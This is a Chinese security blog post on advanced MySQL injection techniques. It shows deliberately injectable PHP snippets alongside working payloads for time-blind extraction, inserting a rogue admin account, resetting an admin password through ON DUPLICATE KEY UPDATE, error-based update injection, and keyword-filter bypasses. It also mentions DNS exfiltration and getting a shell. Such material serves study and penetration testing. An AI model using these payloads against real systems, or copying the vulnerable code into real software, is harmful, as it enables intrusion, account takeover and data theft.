前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >mysql注入奇淫绝技(一)

mysql注入奇淫绝技(一)

作者头像
ChaMd5安全团队
发布2018-07-25 16:36:56
2K0
发布2018-07-25 16:36:56
举报
文章被收录于专栏:ChaMd5安全团队ChaMd5安全团队

insert 注入

Part 1: insert时间盲注

先考虑这样一种注入情况,很多网站都会把访问者的IP记录到数据库中,而且是从HTTP头的X-FORWARDED-FOR或CLIENT-IP等用户可控的字段获取,这样的话,如果没有对获取的IP进行合法性验证就插入数据库就会产生SQL注入。插入数据库的IP值一般用户不可见,一般也不会产生二次注入,所以我们只能在insert语句中构造时间盲注语句才能利用此漏洞。

请看如下代码:

代码语言:javascript
复制
<?php$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];$con = mysql_connect("localhost","root","root");mysql_select_db("test", $con);$query = "insert into `guest` values(null,'$ip');";$result = mysql_query($query);echo $query;mysql_close($con);?>

guest数据表结构如下:

利用if条件构造时间盲注即可提取数据!

构造如下payload利用漏洞:

完整的SQL语句为:

代码语言:javascript
复制
insert into `guest` values(null,''-(if((substr(version(),1,1)='5'),sleep(5),1))-'');

Part 2: insert多行插入

思考如下代码:

代码语言:javascript
复制
<?php$username = $_POST['username'];$passowrd = $_POST['password'];$passowrd = md5($passowrd);$con = mysql_connect("localhost","root","root");mysql_select_db("test", $con);$query = "insert into `users` values(null,0,'$username','$passowrd');";$result = mysql_query($query);echo $query;mysql_close($con);?>

其中users数据表结构如下:

is_admin字段如果为1则代表为管理员用户,为0是普通用户

很明显username参数存在注入,可以利用part 1提到的时间盲注方法提取数据,但是如果我们利用盲注提取到的md5加密后的管理员密码无法破解怎么办?是否还有更好的利用方法?

我们可以利用insert语句的多行插入方式来利用此漏洞

构造如下payload利用漏洞:

完整的SQL语句为:

代码语言:javascript
复制
insert into `users` values(null,0,'1','1'),(null,1,'hacker','e10adc3949ba59abbe56e057f20f883e');

成功插入了一个管理员用户!

Part 3: insert更新插入

继续看Part 2的例子,在很多情况下记录用户权限是用的单独的一个数据表而不是直接在users数据表中增加一个is_admin字段。在这种情况下直接利用insert语句插入一个管理员用户是不可能实现的,脑洞在开大一点,在这种情况下还有什么奇淫绝技吗?

看一下代码和数据表结构:

代码语言:javascript
复制
<?php$username = $_POST['username'];$passowrd = $_POST['password'];$passowrd = md5($passowrd);$con = mysql_connect("localhost","root","root");mysql_select_db("test", $con);$query = "insert into `users` values(null,'$username','$passowrd');";$result = mysql_query($query);echo $query;mysql_close($con);?>

在当前数据表中有一个管理员用户,在记录权限的数据表中记录主键id=1的用户拥有管理员权限。

因为只有主键id=1的用户拥有管理员权限,所以我们不可能通过insert注入插入一个管理员用户。

既然不可能插入管理员用户,那我们能不能update管理员用户的密码呢?

这是我们就要用到一个叫做“更新插入”的技巧,即当插入的数据与已有数据主键冲突时,可以利用on duplicate key语法来更新数据值。

构造如下payload利用漏洞:

查看数据库发现id=1的管理员用户密码已经被修改:

完整的SQL语句如下:

代码语言:javascript
复制
insert into `users` values(null,'guest','guest'),(1,'admin','123') on duplicate key update password = 'reset_pwd';

Update注入

对于update注入,如果update后的数据值用户可见那么直接把敏感数据update到数据库,之后查看即可,如果不可见,那么利用前面提到的时间盲注也可以提取数据。

但是如果注入点是在数据表那里呢?看一下phithon牛出的一道题:

代码语言:javascript
复制
<?php$link = mysqli_connect('localhost', 'root', 'root');mysqli_select_db($link, 'code');$table = addslashes($_GET['table']);$sql = "UPDATE `{$table}` SET `username`='admin' WHERE id=1";if(!mysqli_query($link, $sql)) { echo(mysqli_error($link));}mysqli_close($link);

这道题最大的一个坑是整个update语句被分成了三行,不能用单行注释把后面的语句注释掉,必须构造出一个完整的SQL语句。要解决这道题,我们要利用到

Mysql跨表更新,通过join语句引入一个select子查询来利用漏洞。

Payload为如下SQL语句:

代码语言:javascript
复制
update `table` t join (select char(97) as user from dual where (extractvalue(1,concat(0x7e,(select user()),0x7e)))) tt on tt.user=`t.username`set username ='admin'where id=1;

具体的解题细节可以参考:

https://paper.seebug.org/216/

Select注入

Part 1: 关于时间盲注的另类奇淫绝技

对于时间盲注,我们一般都会通过sleep()或benchmark()函数构造时间延迟,但是如果sleep和benchmark关键字被过滤掉了该怎么办?

利用思路:

1.让两个非常大的数据表做笛卡尔积产生大量的计算从而产生时间延迟

2.如果服务器端采用长连接的话可以利用Mysql的锁机制即Get_lock()

3.利用复杂的正则表达式去匹配一个超长字符串来产生时间延迟

参考如下链接:

https://www.anquanke.com/post/id/104319

这篇文章对上述三个方法讲述的都非常清楚,只是最后对正则表达式的利用有一点瑕疵,文章中给出的利用Payload十分冗长,看一下我研究出来的Payload:

代码语言:javascript
复制
select(repeat(0x7a,999999)regexp(concat(0x5e,repeat(0x28,20),0x7a,repeat(0x292a,20),0x24)));

直接利用Mysql的repeat()函数即可构造超长字符串,同理可以构造一个复杂的正则表达式,而且Mysql的字符串可以直接使用十六进制数据代替,这样就可以避免使用引号从避免被一些WAF拦截。

当然了,如果Mysql版本比较低的话,还可以直接利用带外通道获取数据。在Mysql 5.5.53之前的版本,默认可以使用load_file()读取数据,而且load_file()支持UNC路径,因此可以利用DNS解析来向外传输数据(结合exeye平台效果更佳),当然了,如果into outfile可以使用的话就直接getshell好了。

Part 2: 未知列名情况下的注入利用

如果在利用SQL注入的时候遇到了WAF(安全狗3.5版本会直接拦截关键字information_shema),从而无法获取数据表的列名,这时该怎么利用漏洞呢?

不绕圈子了,请看如下两个SQL语句:

代码语言:javascript
复制
select t.2 from(select * from (select 1)a,(select 2)b,(select 3)c union select * from users)t;

利用虚表获取第二列的数据

代码语言:javascript
复制
select * from users where (1,0x61,0x61) < (select * from users limit 1);

利用此方法可以比较整行数据的值,我们只要获取到了数据表的列数就可以利用盲注的思想逐字节爆破各列的数据!


结束了?? 这就完了?? 图样图森破 没看过瘾的同学不要着急~ mysql注入奇淫绝技(二)很快就会和大家见面了

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-04-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 ChaMd5安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档